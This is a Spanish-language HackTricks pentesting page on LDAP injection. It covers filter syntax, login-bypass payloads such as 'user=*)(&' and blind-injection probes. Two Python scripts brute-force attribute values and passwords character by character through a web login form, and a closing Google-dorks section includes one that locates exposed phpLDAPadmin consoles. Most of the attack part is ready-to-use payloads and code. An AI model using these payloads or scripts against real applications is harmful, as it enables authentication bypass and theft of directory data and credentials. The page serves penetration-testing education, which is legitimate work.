hacktricks/pentesting-web/ldap-injection.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

12 KiB

Inyección LDAP

Inyección LDAP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comienza a ganar recompensas de hasta $100,000.

{% embed url="https://go.intigriti.com/hacktricks" %}

LDAP

Si quieres saber qué es LDAP, accede a la siguiente página:

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

La inyección LDAP es un ataque utilizado para explotar aplicaciones web que construyen sentencias LDAP basadas en la entrada del usuario. Cuando una aplicación no limpia adecuadamente la entrada del usuario, es posible modificar las sentencias LDAP utilizando un proxy local.

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

Filtro = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Verdadero absoluto
(|) = Falso absoluto

Por ejemplo:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

Puedes acceder a la base de datos, y esta puede contener información de muchos tipos diferentes.

OpenLDAP: Si llegan 2 filtros, solo ejecuta el primero.
ADAM o Microsoft LDS: Con 2 filtros, lanzan un error.
SunOne Directory Server 5.0: Ejecuta ambos filtros.

Es muy importante enviar el filtro con la sintaxis correcta o se lanzará un error. Es mejor enviar solo 1 filtro.

El filtro debe comenzar con: & o |
Ejemplo: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Entonces: (&(objectClass=*)(ObjectClass=*)) será el primer filtro (el que se ejecuta).

Bypass de inicio de sesión

LDAP admite varios formatos para almacenar la contraseña: clara, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que, independientemente de lo que insertes dentro de la contraseña, se haya cifrado.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Listas

Inyección LDAP a ciegas

Puede forzar respuestas Falsas o Verdaderas para verificar si se devuelve algún dato y confirmar una posible Inyección LDAP a ciegas:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Volcado de datos

Puedes iterar sobre las letras ascii, dígitos y símbolos:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Descubrir campos LDAP válidos

Los objetos LDAP contienen por defecto varios atributos que podrían ser utilizados para guardar información. Puedes intentar realizar un ataque de fuerza bruta en todos ellos para extraer esa información. Puedes encontrar una lista de atributos LDAP por defecto aquí.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

Inyección LDAP ciega especial (sin "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break

Google Dorks

Descripción

Google Dorks es una técnica de búsqueda avanzada que utiliza operadores de búsqueda específicos para encontrar información que no está disponible en una búsqueda normal. Los operadores de búsqueda se utilizan para filtrar los resultados de búsqueda y obtener información específica.

Uso

Los Google Dorks se pueden utilizar para encontrar información sensible en sitios web, como contraseñas, nombres de usuario, direcciones de correo electrónico, información de tarjetas de crédito y otra información confidencial. También se pueden utilizar para encontrar vulnerabilidades en sitios web y aplicaciones.

Ejemplos

  • site:example.com intext:password - Busca la palabra "password" en el sitio web example.com.
  • filetype:pdf intext:confidential - Busca archivos PDF que contengan la palabra "confidencial".
  • inurl:admin intext:username - Busca páginas de inicio de sesión de administrador que contengan la palabra "username".
  • intitle:"index of" intext:backup - Busca directorios que contengan archivos de copia de seguridad.
  • intext:"powered by WordPress" site:example.com - Busca sitios web que utilizan WordPress.

Prevención

Para prevenir la exposición de información sensible a través de Google Dorks, es importante asegurarse de que la información confidencial no esté disponible públicamente en el sitio web. Esto se puede lograr mediante la implementación de medidas de seguridad adecuadas, como la autenticación de usuarios y la encriptación de datos sensibles.

intitle:"phpLDAPadmin" inurl:cmd.php

Más Payloads

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}


Consejo de recompensa por errores: regístrese en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. Únase a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comience a ganar recompensas de hasta $100,000.

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥